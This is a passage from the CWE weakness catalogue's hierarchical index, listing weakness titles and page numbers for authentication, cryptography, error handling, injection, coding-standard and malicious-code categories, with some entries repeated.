  - B CWE-308: Use of Single-factor Authentication (p. 544)
  - B CWE-309: Use of Password System for Primary Authentication (p. 545)
  - B CWE-521: Weak Password Requirements (p. 861)
  - V CWE-258: Empty Password in Configuration File (p. 458)
  - B CWE-522: Insufficiently Protected Credentials (p. 862)
    - V CWE-256: Plaintext Storage of a Password (p. 454)
    - B CWE-257: Storing Passwords in a Recoverable Format (p. 456)
    - V CWE-260: Password in Configuration File (p. 463)
      - V CWE-13: ASP.NET Misconfiguration: Password in Configuration File (p. 11)
      - V CWE-258: Empty Password in Configuration File (p. 458)
    - V CWE-523: Unprotected Transport of Credentials (p. 865)
    - V CWE-549: Missing Password Field Masking (p. 887)
    - V CWE-555: J2EE Misconfiguration: Plaintext Password in Configuration File (p. 892)
  - C CWE-592: Authentication Bypass Issues (p. 933)
    - B CWE-288: Authentication Bypass Using an Alternate Path or Channel (p. 512)
      - B CWE-425: Direct Request ('Forced Browsing') (p. 727)
    - V CWE-289: Authentication Bypass by Alternate Name (p. 513)
    - B CWE-290: Authentication Bypass by Spoofing (p. 514)
      - V CWE-291: Reliance on IP Address for Authentication (p. 517)
      - V CWE-293: Using Referer Field for Authentication (p. 518)
      - V CWE-350: Reliance on Reverse DNS Resolution for a Security-Critical Action (p. 608)
    - B CWE-294: Authentication Bypass by Capture-replay (p. 520)
    - V CWE-302: Authentication Bypass by Assumed-Immutable Data (p. 533)
    - B CWE-305: Authentication Bypass by Primary Weakness (p. 536)
    - V CWE-593: Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created (p. 934)
  - B CWE-603: Use of Client-Side Authentication (p. 950)
  - B CWE-613: Insufficient Session Expiration (p. 960)
  - V CWE-620: Unverified Password Change (p. 967)



- B CWE-640: Weak Password Recovery Mechanism for Forgotten Password (p. 989)
- B CWE-645: Overly Restrictive Account Lockout Mechanism (p. 1000)
- B CWE-798: Use of Hard-coded Credentials (p. 1219)
  - B CWE-259: Use of Hard-coded Password (p. 459)
  - B CWE-321: Use of Hard-coded Cryptographic Key (p. 565)
- B CWE-804: Guessable CAPTCHA (p. 1229)
- B CWE-836: Use of Password Hash Instead of Password for Authentication (p. 1275)
- B CWE-384: Session Fixation (p. 663)
  - B CWE-346: Origin Validation Error (p. 602)
  - C CWE-441: Unintended Proxy or Intermediary ('Confused Deputy') (p. 753)
  - B CWE-472: External Control of Assumed-Immutable Web Parameter (p. 793)
- B CWE-346: Origin Validation Error (p. 602)
- C CWE-923: Improper Restriction of Communication Channel to Intended Endpoints (p. 1349)
  - V CWE-291: Reliance on IP Address for Authentication (p. 517)
  - V CWE-297: Improper Validation of Certificate with Host Mismatch (p. 525)
  - C CWE-300: Channel Accessible by Non-Endpoint ('Man-in-the-Middle') (p. 530)
  - B CWE-322: Key Exchange without Entity Authentication (p. 567)
  - V CWE-350: Reliance on Reverse DNS Resolution for a Security-Critical Action (p. 608)
  - V CWE-350: Reliance on Reverse DNS Resolution for a Security-Critical Action (p. 608)
  - B CWE-419: Unprotected Primary Channel (p. 723)
  - B CWE-420: Unprotected Alternate Channel (p. 723)
    - B CWE-421: Race Condition During Access to Alternate Channel (p. 724)
    - V CWE-422: Unprotected Windows Messaging Channel ('Shatter') (p. 725)
  - V CWE-925: Improper Verification of Intent by Broadcast Receiver (p. 1351)
  - B CWE-940: Improper Verification of Source of a Communication Channel (p. 1364)
  - B CWE-941: Incorrectly Specified Destination in a Communication Channel (p. 1366)
  - V CWE-942: Overly Permissive Cross-domain Whitelist (p. 1367)
- B CWE-295: Improper Certificate Validation (p. 521)
  - B CWE-296: Improper Following of a Certificate's Chain of Trust (p. 523)
  - V CWE-297: Improper Validation of Certificate with Host Mismatch (p. 525)
  - V CWE-298: Improper Validation of Certificate Expiration (p. 527)
  - V CWE-299: Improper Check for Certificate Revocation (p. 528)
  - B CWE-370: Missing Check for Certificate Revocation after Initial Check (p. 649)
  - V CWE-599: Missing Validation of OpenSSL Certificate (p. 940)
- B CWE-311: Missing Encryption of Sensitive Data (p. 548)
  - B CWE-312: Cleartext Storage of Sensitive Information (p. 553)
    - V CWE-313: Cleartext Storage in a File or on Disk (p. 556)
    - V CWE-314: Cleartext Storage in the Registry (p. 557)
    - V CWE-315: Cleartext Storage of Sensitive Information in a Cookie (p. 558)
    - V CWE-316: Cleartext Storage of Sensitive Information in Memory (p. 559)
    - V CWE-317: Cleartext Storage of Sensitive Information in GUI (p. 560)
    - V CWE-318: Cleartext Storage of Sensitive Information in Executable (p. 561)
  - B CWE-319: Cleartext Transmission of Sensitive Information (p. 562)
    - V CWE-5: J2EE Misconfiguration: Data Transmission Without Encryption (p. 2)
  - V CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute (p. 961)
- C CWE-326: Inadequate Encryption Strength (p. 571)
  - V CWE-261: Weak Cryptography for Passwords (p. 464)
  - B CWE-328: Reversible One-Way Hash (p. 578)
- B CWE-327: Use of a Broken or Risky Cryptographic Algorithm (p. 573)
  - B CWE-208: Information Exposure Through Timing Discrepancy (p. 396)
  - B CWE-328: Reversible One-Way Hash (p. 578)
  - V CWE-780: Use of RSA Algorithm without OAEP (p. 1195)
  - B CWE-916: Use of Password Hash With Insufficient Computational Effort (p. 1341)
    - B CWE-759: Use of a One-Way Hash without a Salt (p. 1153)
    - B CWE-760: Use of a One-Way Hash with a Predictable Salt (p. 1157)

- G CWE-345: Insufficient Verification of Data Authenticity (p. 600)
  - B CWE-346: Origin Validation Error (p. 602)
  - B CWE-347: Improper Verification of Cryptographic Signature (p. 604)
  - B CWE-348: Use of Less Trusted Source (p. 605)
  - B CWE-349: Acceptance of Extraneous Untrusted Data With Trusted Data (p. 607)
  - B CWE-351: Insufficient Type Distinction (p. 610)
  - B CWE-353: Missing Support for Integrity Check (p. 616)
  - B CWE-354: Improper Validation of Integrity Check Value (p. 618)
  - B CWE-360: Trust of System Event Data (p. 625)
  - V CWE-422: Unprotected Windows Messaging Channel ('Shatter') (p. 725)
  - V CWE-616: Incomplete Identification of Uploaded File Variables (PHP) (p. 963)
  - V CWE-646: Reliance on File Name or Extension of Externally-Supplied File (p. 1002)
  - B CWE-649: Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking (p. 1006)
  - G CWE-924: Improper Enforcement of Message Integrity During Transmission in a Communication Channel (p. 1350)
  - B CWE-352: Cross-Site Request Forgery (CSRF) (p. 611)
    - B CWE-346: Origin Validation Error (p. 602)
    - G CWE-441: Unintended Proxy or Intermediary ('Confused Deputy') (p. 753)
    - B CWE-613: Insufficient Session Expiration (p. 960)
    - G CWE-642: External Control of Critical State Data (p. 993)
- B CWE-357: Insufficient UI Warning of Dangerous Operations (p. 621)
- B CWE-450: Multiple Interpretations of UI Input (p. 762)
- B CWE-358: Improperly Implemented Security Check for Standard (p. 621)
- G CWE-424: Improper Protection of Alternate Path (p. 727)
  - B CWE-425: Direct Request ('Forced Browsing') (p. 727)
- B CWE-602: Client-Side Enforcement of Server-Side Security (p. 947)
  - B CWE-565: Reliance on Cookies without Validation and Integrity Checking (p. 901)
    - V CWE-784: Reliance on Cookies without Validation and Integrity Checking in a Security Decision (p. 1202)
  - B CWE-603: Use of Client-Side Authentication (p. 950)
- B CWE-653: Insufficient Compartmentalization (p. 1011)
- B CWE-654: Reliance on a Single Factor in a Security Decision (p. 1012)
  - B CWE-308: Use of Single-factor Authentication (p. 544)
  - B CWE-309: Use of Password System for Primary Authentication (p. 545)
- B CWE-655: Insufficient Psychological Acceptability (p. 1014)
- B CWE-656: Reliance on Security Through Obscurity (p. 1015)
- G CWE-757: Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade') (p. 1152)
- B CWE-778: Insufficient Logging (p. 1193)
- B CWE-807: Reliance on Untrusted Inputs in a Security Decision (p. 1239)
  - V CWE-302: Authentication Bypass by Assumed-Immutable Data (p. 533)
  - V CWE-350: Reliance on Reverse DNS Resolution for a Security-Critical Action (p. 608)
  - V CWE-784: Reliance on Cookies without Validation and Integrity Checking in a Security Decision (p. 1202)
- G CWE-697: Insufficient Comparison (p. 1078)
  - B CWE-183: Permissive Whitelist (p. 352)
    - V CWE-942: Overly Permissive Cross-domain Whitelist (p. 1367)
  - B CWE-184: Incomplete Blacklist (p. 352)
  - G CWE-185: Incorrect Regular Expression (p. 355)
    - B CWE-186: Overly Restrictive Regular Expression (p. 356)
    - B CWE-625: Permissive Regular Expression (p. 973)
      - V CWE-777: Regular Expression without Anchors (p. 1192)
  - B CWE-187: Partial Comparison (p. 357)
    - G CWE-185: Incorrect Regular Expression (p. 355)
      - B CWE-186: Overly Restrictive Regular Expression (p. 356)
      - B CWE-625: Permissive Regular Expression (p. 973)

- V CWE-777: Regular Expression without Anchors (p. 1192)
- B CWE-839: Numeric Range Comparison Without Minimum Check (p. 1279)
- B CWE-372: Incomplete Internal State Distinction (p. 651)
- V CWE-478: Missing Default Case in Switch Statement (p. 804)
- V CWE-481: Assigning instead of Comparing (p. 811)
- V CWE-486: Comparison of Classes by Name (p. 820)
- B CWE-595: Comparison of Object References Instead of Object Contents (p. 936)
- V CWE-597: Use of Wrong Operator in String Comparison (p. 938)
- B CWE-596: Incorrect Semantic Object Comparison (p. 938)
- G CWE-703: Improper Check or Handling of Exceptional Conditions (p. 1102)
- B CWE-166: Improper Handling of Missing Special Element (p. 324)
- B CWE-167: Improper Handling of Additional Special Element (p. 325)
- B CWE-168: Improper Handling of Inconsistent Special Elements (p. 326)
- G CWE-228: Improper Handling of Syntactically Invalid Structure (p. 420)
- B CWE-229: Improper Handling of Values (p. 421)
  - V CWE-230: Improper Handling of Missing Values (p. 422)
  - V CWE-231: Improper Handling of Extra Values (p. 423)
  - V CWE-232: Improper Handling of Undefined Values (p. 423)
- B CWE-233: Improper Handling of Parameters (p. 424)
  - V CWE-234: Failure to Handle Missing Parameter (p. 425)
  - V CWE-235: Improper Handling of Extra Parameters (p. 427)
  - V CWE-236: Improper Handling of Undefined Parameters (p. 427)
- B CWE-237: Improper Handling of Structural Elements (p. 428)
  - V CWE-238: Improper Handling of Incomplete Structural Elements (p. 428)
  - V CWE-239: Failure to Handle Incomplete Element (p. 429)
  - V CWE-240: Improper Handling of Inconsistent Structural Elements (p. 430)
  - V CWE-130: Improper Handling of Length Parameter Inconsistency (p. 266)
- B CWE-241: Improper Handling of Unexpected Data Type (p. 430)
- B CWE-248: Uncaught Exception (p. 438)
- B CWE-600: Uncaught Exception in Servlet (p. 941)
- B CWE-274: Improper Handling of Insufficient Privileges (p. 487)
- B CWE-280: Improper Handling of Insufficient Permissions or Privileges (p. 495)
- V CWE-333: Improper Handling of Insufficient Entropy in TRNG (p. 588)
- B CWE-391: Unchecked Error Condition (p. 675)
- B CWE-392: Missing Report of Error Condition (p. 677)
- B CWE-393: Return of Wrong Status Code (p. 678)
- B CWE-397: Declaration of Throws for Generic Exception (p. 683)
- G CWE-754: Improper Check for Unusual or Exceptional Conditions (p. 1143)
- B CWE-252: Unchecked Return Value (p. 446)
- B CWE-253: Incorrect Check of Function Return Value (p. 451)
- B CWE-273: Improper Check for Dropped Privileges (p. 485)
- B CWE-354: Improper Validation of Integrity Check Value (p. 618)
- B CWE-394: Unexpected Status Code or Return Value (p. 679)
- G CWE-755: Improper Handling of Exceptional Conditions (p. 1150)
- B CWE-209: Information Exposure Through an Error Message (p. 397)
  - B CWE-210: Information Exposure Through Self-generated Error Message (p. 402)
    - V CWE-535: Information Exposure Through Shell Error Message (p. 874)
    - V CWE-536: Information Exposure Through Servlet Runtime Error Message (p. 875)
    - V CWE-537: Information Exposure Through Java Runtime Error Message (p. 876)
  - B CWE-211: Information Exposure Through Externally-generated Error Message (p. 403)
    - V CWE-550: Information Exposure Through Server Error Message (p. 888)
- B CWE-600: Uncaught Exception in Servlet (p. 941)
- G CWE-756: Missing Custom Error Page (p. 1151)
  - V CWE-12: ASP.NET Misconfiguration: Missing Custom Error Page (p. 9)
  - V CWE-7: J2EE Misconfiguration: Missing Custom Error Page (p. 5)



- G CWE-390: Detection of Error Condition Without Action (p. 671)
- B CWE-395: Use of NullPointerException Catch to Detect NULL Pointer Dereference (p. 680)
- B CWE-396: Declaration of Catch for Generic Exception (p. 682)
- V CWE-460: Improper Cleanup on Thrown Exception (p. 777)
- B CWE-544: Missing Standardized Error Handling Mechanism (p. 883)
- G CWE-636: Not Failing Securely ('Failing Open') (p. 983)
- B CWE-455: Non-exit on Failed Initialization (p. 769)
- G CWE-756: Missing Custom Error Page (p. 1151)
- V CWE-12: ASP.NET Misconfiguration: Missing Custom Error Page (p. 9)
- V CWE-7: J2EE Misconfiguration: Missing Custom Error Page (p. 5)
- G CWE-707: Improper Enforcement of Message or Data Structure (p. 1107)
- G CWE-116: Improper Encoding or Escaping of Output (p. 217)
- B CWE-117: Improper Output Neutralization for Logs (p. 223)
- V CWE-644: Improper Neutralization of HTTP Headers for Scripting Syntax (p. 999)
- B CWE-838: Inappropriate Encoding for Output Context (p. 1277)
- G CWE-138: Improper Neutralization of Special Elements (p. 285)
- B CWE-140: Improper Neutralization of Delimiters (p. 287)
- V CWE-141: Improper Neutralization of Parameter/Argument Delimiters (p. 289)
- V CWE-142: Improper Neutralization of Value Delimiters (p. 290)
- V CWE-143: Improper Neutralization of Record Delimiters (p. 291)
- V CWE-144: Improper Neutralization of Line Delimiters (p. 293)
- V CWE-145: Improper Neutralization of Section Delimiters (p. 294)
- V CWE-146: Improper Neutralization of Expression/Command Delimiters (p. 296)
- V CWE-147: Improper Neutralization of Input Terminators (p. 297)
- V CWE-148: Improper Neutralization of Input Leaders (p. 298)
- V CWE-149: Improper Neutralization of Quoting Syntax (p. 299)
- V CWE-150: Improper Neutralization of Escape, Meta, or Control Sequences (p. 301)
- V CWE-151: Improper Neutralization of Comment Delimiters (p. 302)
- V CWE-152: Improper Neutralization of Macro Symbols (p. 304)
- V CWE-153: Improper Neutralization of Substitution Characters (p. 305)
- V CWE-154: Improper Neutralization of Variable Name Delimiters (p. 307)
- V CWE-155: Improper Neutralization of Wildcards or Matching Symbols (p. 308)
- V CWE-56: Path Equivalence: 'filedir\*' (Wildcard) (p. 88)
- V CWE-156: Improper Neutralization of Whitespace (p. 309)
- V CWE-157: Failure to Sanitize Paired Delimiters (p. 311)
- V CWE-158: Improper Neutralization of Null Byte or NUL Character (p. 312)
- G CWE-159: Failure to Sanitize Special Element (p. 314)
- V CWE-160: Improper Neutralization of Leading Special Elements (p. 316)
- V CWE-161: Improper Neutralization of Multiple Leading Special Elements (p. 317)
- V CWE-50: Path Equivalence: '//multiple/leading/slash' (p. 83)
- V CWE-37: Path Traversal: '/absolute/pathname/here' (p. 67)
- V CWE-162: Improper Neutralization of Trailing Special Elements (p. 319)
- V CWE-163: Improper Neutralization of Multiple Trailing Special Elements (p. 320)
- V CWE-43: Path Equivalence: 'filename....' (Multiple Trailing Dot) (p. 79)
- V CWE-52: Path Equivalence: '/multiple/trailing/slash/' (p. 85)
- V CWE-42: Path Equivalence: 'filename.' (Trailing Dot) (p. 78)
- V CWE-43: Path Equivalence: 'filename....' (Multiple Trailing Dot) (p. 79)
- V CWE-46: Path Equivalence: 'filename ' (Trailing Space) (p. 80)
- V CWE-49: Path Equivalence: 'filename/' (Trailing Slash) (p. 83)
- V CWE-54: Path Equivalence: 'filedir\' (Trailing Backslash) (p. 86)
- V CWE-164: Improper Neutralization of Internal Special Elements (p. 321)
- V CWE-165: Improper Neutralization of Multiple Internal Special Elements (p. 323)
- V CWE-45: Path Equivalence: 'file...name' (Multiple Internal Dot) (p. 80)
- V CWE-53: Path Equivalence: '\multiple\\internal\\backslash' (p. 86)
- B CWE-166: Improper Handling of Missing Special Element (p. 324)

- B CWE-167: Improper Handling of Additional Special Element (p. 325)
- B CWE-168: Improper Handling of Inconsistent Special Elements (p. 326)
- B CWE-464: Addition of Data Structure Sentinel (p. 781)
- C CWE-790: Improper Filtering of Special Elements (p. 1213)
- B CWE-791: Incomplete Filtering of Special Elements (p. 1214)
- V CWE-792: Incomplete Filtering of One or More Instances of Special Elements (p. 1214)
- V CWE-793: Only Filtering One Instance of a Special Element (p. 1215)
- V CWE-794: Incomplete Filtering of Multiple Instances of Special Elements (p. 1216)
- B CWE-795: Only Filtering Special Elements at a Specified Location (p. 1217)
- V CWE-796: Only Filtering Special Elements Relative to a Marker (p. 1218)
- V CWE-797: Only Filtering Special Elements at an Absolute Position (p. 1219)
- B CWE-170: Improper Null Termination (p. 328)
- C CWE-172: Encoding Error (p. 333)
- V CWE-173: Improper Handling of Alternate Encoding (p. 335)
- V CWE-174: Double Decoding of the Same Data (p. 336)
- V CWE-175: Improper Handling of Mixed Encoding (p. 338)
- V CWE-176: Improper Handling of Unicode Encoding (p. 339)
- V CWE-177: Improper Handling of URL Encoding (Hex Encoding) (p. 341)
- C CWE-228: Improper Handling of Syntactically Invalid Structure (p. 420)
- B CWE-229: Improper Handling of Values (p. 421)
- V CWE-230: Improper Handling of Missing Values (p. 422)
- V CWE-231: Improper Handling of Extra Values (p. 423)
- V CWE-232: Improper Handling of Undefined Values (p. 423)
- B CWE-233: Improper Handling of Parameters (p. 424)
- V CWE-234: Failure to Handle Missing Parameter (p. 425)
- V CWE-235: Improper Handling of Extra Parameters (p. 427)
- V CWE-236: Improper Handling of Undefined Parameters (p. 427)
- B CWE-237: Improper Handling of Structural Elements (p. 428)
- V CWE-238: Improper Handling of Incomplete Structural Elements (p. 428)
- V CWE-239: Failure to Handle Incomplete Element (p. 429)
- V CWE-240: Improper Handling of Inconsistent Structural Elements (p. 430)
- V CWE-130: Improper Handling of Length Parameter Inconsistency (p. 266)
- B CWE-241: Improper Handling of Unexpected Data Type (p. 430)
- V CWE-240: Improper Handling of Inconsistent Structural Elements (p. 430)
- V CWE-130: Improper Handling of Length Parameter Inconsistency (p. 266)
- B CWE-463: Deletion of Data Structure Sentinel (p. 780)
- C CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') (p. 113)
- C CWE-116: Improper Encoding or Escaping of Output (p. 217)
- B CWE-117: Improper Output Neutralization for Logs (p. 223)
- V CWE-644: Improper Neutralization of HTTP Headers for Scripting Syntax (p. 999)
- B CWE-838: Inappropriate Encoding for Output Context (p. 1277)
- B CWE-134: Uncontrolled Format String (p. 277)
- C CWE-20: Improper Input Validation (p. 18)
- V CWE-105: Struts: Form Field Without Validator (p. 198)
- V CWE-106: Struts: Plug-in Framework not in Use (p. 200)
- V CWE-108: Struts: Unvalidated Action Form (p. 204)
- V CWE-109: Struts: Validator Turned Off (p. 205)
- B CWE-112: Missing XML Validation (p. 210)
- B CWE-114: Process Control (p. 215)
- B CWE-129: Improper Validation of Array Index (p. 258)
- V CWE-554: ASP.NET Misconfiguration: Not Using Input Validation Framework (p. 891)
- B CWE-606: Unchecked Input for Loop Condition (p. 953)
- V CWE-622: Improper Validation of Function Hook Arguments (p. 970)
- V CWE-626: Null Byte Interaction Error (Poison Null Byte) (p. 974)

- **V** CWE-781: Improper Address Validation in IOCTL with METHOD\_NEITHER I/O Control Code (p. 1197)
- **V** CWE-789: Uncontrolled Memory Allocation (p. 1211)
- **∞** CWE-680: Integer Overflow to Buffer Overflow (p. 1057)
- **∞** CWE-690: Unchecked Return Value to NULL Pointer Dereference (p. 1071)
- **∞** CWE-692: Incomplete Blacklist to Cross-Site Scripting (p. 1073)
- **G** CWE-75: Failure to Sanitize Special Elements into a Different Plane (Special Element Injection) (p. 116)
- **B** CWE-76: Improper Neutralization of Equivalent Special Elements (p. 116)
- **G** CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection') (p. 117)
- **B** CWE-624: Executable Regular Expression Error (p. 972)
- **B** CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (p. 121)
- **B** CWE-88: Argument Injection or Modification (p. 155)
- **B** CWE-917: Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection') (p. 1344)
- **B** CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (p. 131)
- **B** CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting') (p. 211)
- **B** CWE-184: Incomplete Blacklist (p. 352)
- **V** CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) (p. 142)
- **V** CWE-81: Improper Neutralization of Script in an Error Message Web Page (p. 144)
- **V** CWE-83: Improper Neutralization of Script in Attributes in a Web Page (p. 147)
- **V** CWE-82: Improper Neutralization of Script in Attributes of IMG Tags in a Web Page (p. 146)
- **V** CWE-84: Improper Neutralization of Encoded URI Schemes in a Web Page (p. 149)
- **V** CWE-85: Doubled Character XSS Manipulations (p. 151)
- **V** CWE-86: Improper Neutralization of Invalid Characters in Identifiers in Web Pages (p. 152)
- **V** CWE-87: Improper Neutralization of Alternate XSS Syntax (p. 154)
- **B** CWE-91: XML Injection (aka Blind XPath Injection) (p. 170)
- **B** CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection') (p. 998)
- **B** CWE-652: Improper Neutralization of Data within XQuery Expressions ('XQuery Injection') (p. 1009)
- **B** CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection') (p. 172)
- **B** CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting') (p. 211)
- **G** CWE-94: Improper Control of Generation of Code ('Code Injection') (p. 173)
- **B** CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection') (p. 177)
- **B** CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection') (p. 181)
- **V** CWE-97: Improper Neutralization of Server-Side Includes (SSI) Within a Web Page (p. 183)
- **B** CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') (p. 184)
- **G** CWE-943: Improper Neutralization of Special Elements in Data Query Logic (p. 1369)
- **B** CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection') (p. 998)
- **B** CWE-652: Improper Neutralization of Data within XQuery Expressions ('XQuery Injection') (p. 1009)
- **B** CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (p. 159)
- **B** CWE-456: Missing Initialization of a Variable (p. 770)
- **V** CWE-564: SQL Injection: Hibernate (p. 900)

- B CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection') (p. 169)
- B CWE-99: Improper Control of Resource Identifiers ('Resource Injection') (p. 190)
  - B CWE-641: Improper Restriction of Names for Files and Other Resources (p. 991)
  - B CWE-694: Use of Multiple Resources with Duplicate Identifier (p. 1076)
    - V CWE-102: Struts: Duplicate Validation Forms (p. 193)
    - B CWE-462: Duplicate Key in Associative List (Alist) (p. 779)
  - B CWE-914: Improper Control of Dynamically-Identified Variables (p. 1337)
    - B CWE-621: Variable Extraction Error (p. 969)
    - B CWE-627: Dynamic Variable Evaluation (p. 975)
- C CWE-710: Coding Standards Violation (p. 1109)
  - C CWE-227: Improper Fulfillment of API Contract ('API Abuse') (p. 418)
    - C CWE-573: Improper Following of Specification by Caller (p. 910)
      - V CWE-103: Struts: Incomplete validate() Method Definition (p. 194)
      - V CWE-104: Struts: Form Bean Does Not Extend Validation Class (p. 196)
      - V CWE-243: Creation of chroot Jail Without Changing Working Directory (p. 433)
      - B CWE-253: Incorrect Check of Function Return Value (p. 451)
      - B CWE-296: Improper Following of a Certificate's Chain of Trust (p. 523)
      - B CWE-304: Missing Critical Step in Authentication (p. 535)
      - B CWE-325: Missing Required Cryptographic Step (p. 570)
      - V CWE-329: Not Using a Random IV with CBC Mode (p. 580)
      - B CWE-358: Improperly Implemented Security Check for Standard (p. 621)
      - B CWE-475: Undefined Behavior for Input to API (p. 797)
      - V CWE-568: finalize() Method Without super.finalize() (p. 905)
      - V CWE-577: EJB Bad Practices: Use of Sockets (p. 916)
      - V CWE-578: EJB Bad Practices: Use of Class Loader (p. 918)
      - V CWE-579: J2EE Bad Practices: Non-serializable Object Stored in Session (p. 919)
      - V CWE-580: clone() Method Without super.clone() (p. 920)
      - B CWE-581: Object Model Violation: Just One of Equals and Hashcode Defined (p. 921)
      - B CWE-628: Function Call with Incorrectly Specified Arguments (p. 977)
        - V CWE-683: Function Call With Incorrect Order of Arguments (p. 1064)
        - V CWE-685: Function Call With Incorrect Number of Arguments (p. 1065)
        - V CWE-686: Function Call With Incorrect Argument Type (p. 1066)
        - V CWE-687: Function Call With Incorrectly Specified Argument Value (p. 1067)
        - V CWE-560: Use of umask() with chmod-style Argument (p. 895)
        - V CWE-688: Function Call With Incorrect Variable or Reference as Argument (p. 1068)
    - C CWE-675: Duplicate Operations on Resource (p. 1043)
      - V CWE-174: Double Decoding of the Same Data (p. 336)
      - V CWE-415: Double Free (p. 716)
      - B CWE-605: Multiple Binds to the Same Port (p. 951)
      - V CWE-764: Multiple Locks of a Critical Resource (p. 1168)
      - V CWE-765: Multiple Unlocks of a Critical Resource (p. 1169)
  - B CWE-694: Use of Multiple Resources with Duplicate Identifier (p. 1076)
    - V CWE-102: Struts: Duplicate Validation Forms (p. 193)
    - B CWE-462: Duplicate Key in Associative List (Alist) (p. 779)
  - B CWE-695: Use of Low-Level Functionality (p. 1077)
    - B CWE-111: Direct Use of Unsafe JNI (p. 208)
      - V CWE-245: J2EE Bad Practices: Direct Management of Connections (p. 435)
      - V CWE-246: J2EE Bad Practices: Direct Use of Sockets (p. 437)
      - V CWE-383: J2EE Bad Practices: Direct Use of Threads (p. 662)
      - V CWE-574: EJB Bad Practices: Use of Synchronization Primitives (p. 911)
      - V CWE-575: EJB Bad Practices: Use of AWT Swing (p. 913)
      - V CWE-576: EJB Bad Practices: Use of Java I/O (p. 915)
- V CWE-586: Explicit Call to Finalize() (p. 926)
- B CWE-648: Incorrect Use of Privileged APIs (p. 1004)



- V CWE-650: Trusting HTTP Permission Methods on the Server Side (p. 1007)
- B CWE-684: Incorrect Provision of Specified Functionality (p. 1065)
  - B CWE-392: Missing Report of Error Condition (p. 677)
  - B CWE-393: Return of Wrong Status Code (p. 678)
  - B CWE-440: Expected Behavior Violation (p. 753)
  - B CWE-446: UI Discrepancy for Security Feature (p. 759)
    - B CWE-447: Unimplemented or Unsupported Feature in UI (p. 760)
    - B CWE-448: Obsolete Feature in UI (p. 761)
    - B CWE-449: The UI Performs the Wrong Action (p. 761)
  - B CWE-451: User Interface (UI) Misrepresentation of Critical Information (p. 763)
- B CWE-242: Use of Inherently Dangerous Function (p. 431)
- G CWE-398: Indicator of Poor Code Quality (p. 684)
  - V CWE-107: Struts: Unused Validation Form (p. 202)
  - V CWE-110: Struts: Validator Without Form Field (p. 206)
- B CWE-474: Use of Function with Inconsistent Implementations (p. 797)
  - V CWE-589: Call to Non-ubiquitous API (p. 929)
- B CWE-476: NULL Pointer Dereference (p. 798)
- B CWE-477: Use of Obsolete Functions (p. 802)
- B CWE-484: Omitted Break Statement in Switch (p. 817)
- V CWE-546: Suspicious Comment (p. 885)
- V CWE-547: Use of Hard-coded, Security-relevant Constants (p. 885)
- V CWE-561: Dead Code (p. 895)
  - V CWE-570: Expression is Always False (p. 906)
  - V CWE-571: Expression is Always True (p. 908)
- B CWE-562: Return of Stack Variable Address (p. 898)
- V CWE-563: Assignment to Variable without Use ('Unused Variable') (p. 899)
- V CWE-585: Empty Synchronized Block (p. 925)
- B CWE-676: Use of Potentially Dangerous Function (p. 1044)
  - V CWE-785: Use of Path Manipulation Function without Maximum-sized Buffer (p. 1204)
- G CWE-657: Violation of Secure Design Principles (p. 1017)
  - C CWE-250: Execution with Unnecessary Privileges (p. 440)
  - C CWE-636: Not Failing Securely ('Failing Open') (p. 983)
    - B CWE-455: Non-exit on Failed Initialization (p. 769)
  - C CWE-637: Unnecessary Complexity in Protection Mechanism (Not Using 'Economy of Mechanism') (p. 985)
  - C CWE-638: Not Using Complete Mediation (p. 986)
    - C CWE-424: Improper Protection of Alternate Path (p. 727)
      - B CWE-425: Direct Request ('Forced Browsing') (p. 727)
- B CWE-653: Insufficient Compartmentalization (p. 1011)
- B CWE-654: Reliance on a Single Factor in a Security Decision (p. 1012)
  - B CWE-308: Use of Single-factor Authentication (p. 544)
  - B CWE-309: Use of Password System for Primary Authentication (p. 545)
- B CWE-655: Insufficient Psychological Acceptability (p. 1014)
- B CWE-656: Reliance on Security Through Obscurity (p. 1015)
- G CWE-671: Lack of Administrator Control over Security (p. 1038)
  - B CWE-447: Unimplemented or Unsupported Feature in UI (p. 760)
  - B CWE-798: Use of Hard-coded Credentials (p. 1219)
    - B CWE-259: Use of Hard-coded Password (p. 459)
    - B CWE-321: Use of Hard-coded Cryptographic Key (p. 565)
- G CWE-758: Reliance on Undefined, Unspecified, or Implementation-Defined Behavior (p. 1153)
  - B CWE-188: Reliance on Data/Memory Layout (p. 359)
    - B CWE-198: Use of Incorrect Byte Ordering (p. 383)
  - B CWE-587: Assignment of a Fixed Address to a Pointer (p. 927)
  - V CWE-588: Attempt to Access Child of a Non-structure Pointer (p. 928)
  - B CWE-733: Compiler Optimization Removal or Modification of Security-critical Code (p. 1129)
    - B CWE-14: Compiler Removal of Code to Clear Buffers (p. 12)

- C CWE-912: Hidden Functionality (p. 1336)
  - C CWE-506: Embedded Malicious Code (p. 851)
    - B CWE-507: Trojan Horse (p. 852)
      - B CWE-508: Non-Replicating Malicious Code (p. 853)
      - B CWE-509: Replicating Malicious Code (Virus or Worm) (p. 854)
    - B CWE-510: Trapdoor (p. 854)
    - B CWE-511: Logic/Time Bomb (p. 856)
    - B CWE-512: Spyware (p. 857)
  - C CWE-514: Covert Channel (p. 858)
    - B CWE-385: Covert Timing Channel (p. 666)
    - B CWE-515: Covert Storage Channel (p. 858)



## Glossary

---

